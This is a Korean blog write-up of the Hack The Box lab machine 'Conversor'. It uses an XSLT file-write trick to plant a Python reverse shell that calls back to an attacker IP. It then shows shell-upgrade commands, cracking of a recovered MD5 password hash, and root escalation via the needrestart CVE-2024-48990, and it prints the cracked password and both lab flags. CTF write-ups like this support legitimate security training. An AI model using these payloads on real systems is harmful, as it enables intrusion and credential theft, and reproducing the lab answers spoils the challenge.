https://app.hackthebox.com/machines/Conversor?sort_by=created_at&sort_type=desc
Hack The Box
app.hackthebox.com
초기 침투
About 페이지

about 페이지에서 소스 코드를 확인할 수 있다.

install.md를 살펴보면 /var/www/conversor.htb/scripts/ 에 위치한 파이썬 파일을 실행시키는 것을 확인할 수 있다.
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
resolve_entities가 false이기 때문에
<xsl:copy-of select="document('/etc/passwd')"/>
위와 같은 방식은 불가능하다.
하지만
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>
이런 방식으로 파일 쓰기는 가능하다.
XML - XSLT Convert 페이지

위 페이지에서 xml 파일과 xslt 파일을 업로드하면 된다. 업로드한 파일의 상세 내용은 아래와 같다.
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
위 파일이 업로드한 xml 파일이다.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",4000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
위 파일이 업로드한 xslt 파일이다. xml 파일과 연관성이 없어도 리버스 쉘 연결은 문제 없었다.

위와 같이 리버스 쉘 연결에 성공했다.
1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. export TERM=xterm
3. Ctrl + Z
4. stty raw -echo; fg
5. Ctrl + C
위와 같은 방식으로 리버스 쉘 업그레이드가 가능하다.
User Flag 획득

sqlite db에 접근할 수 있다.

sqlite에 저장되어있는 fismathack 계정의 비밀번호를 획득했다.

우리가 얻어야하는 계정명과 동일하다. 따라서 같은 비밀번호를 사용하고 있을 확률이 높기 때문에 저 패스워드를 크랙해보겠다.

md5로 해싱된 것을 확인할 수 있다. 체크한 사이트는 아래와 같다.
https://hashes.com/en/tools/hash_identifier
Hash Type Identifier - Identify unknown hashes
Identify and detect unknown hashes using this tool. This page will tell you what type of hash a given string is. If you want to attempt to Decrypt them, click this link instead. Decrypt Hashes
hashes.com
crackstation을 통해서 확인해본 결과 비밀번호를 획득할 수 있었다.

Keepmesafeandwarm


6f7b85031927470f58c951fda8efef14
짜잔
Root Flag 획득

NOPASSWD가 위와 같이 설장되어 있다. needrestart에 대한 분석이 필요하다.

needrestart에 대한 버전 정보가 3.5임을 확인했다.
CVE-2024-48990을 비롯한 여러 CVE가 발견됐다. 쓰기 용이한 PoC 코드를 발견하여 CVE-2024-48990으로 익스플로잇을 시도했다.
https://github.com/BLUEBERRYP1LL/CVE-2024-48990/tree/master
GitHub - BLUEBERRYP1LL/CVE-2024-48990: needrestart < 3.8 Local Privilege Escalation via PYTHONPATH injection
needrestart < 3.8 Local Privilege Escalation via PYTHONPATH injection - BLUEBERRYP1LL/CVE-2024-48990
github.com


위와 같이 루트를 획득할 수 있다.

f9fbb8f6a6280bf9ea14d02e81f70fe6
짜잔
'레드팀 > HackTheBox' 카테고리의 다른 글
| [HTB-Academy] Penetration Tester Path - Network Enumeration with Nmap (0) | 2025.12.22 |
|---|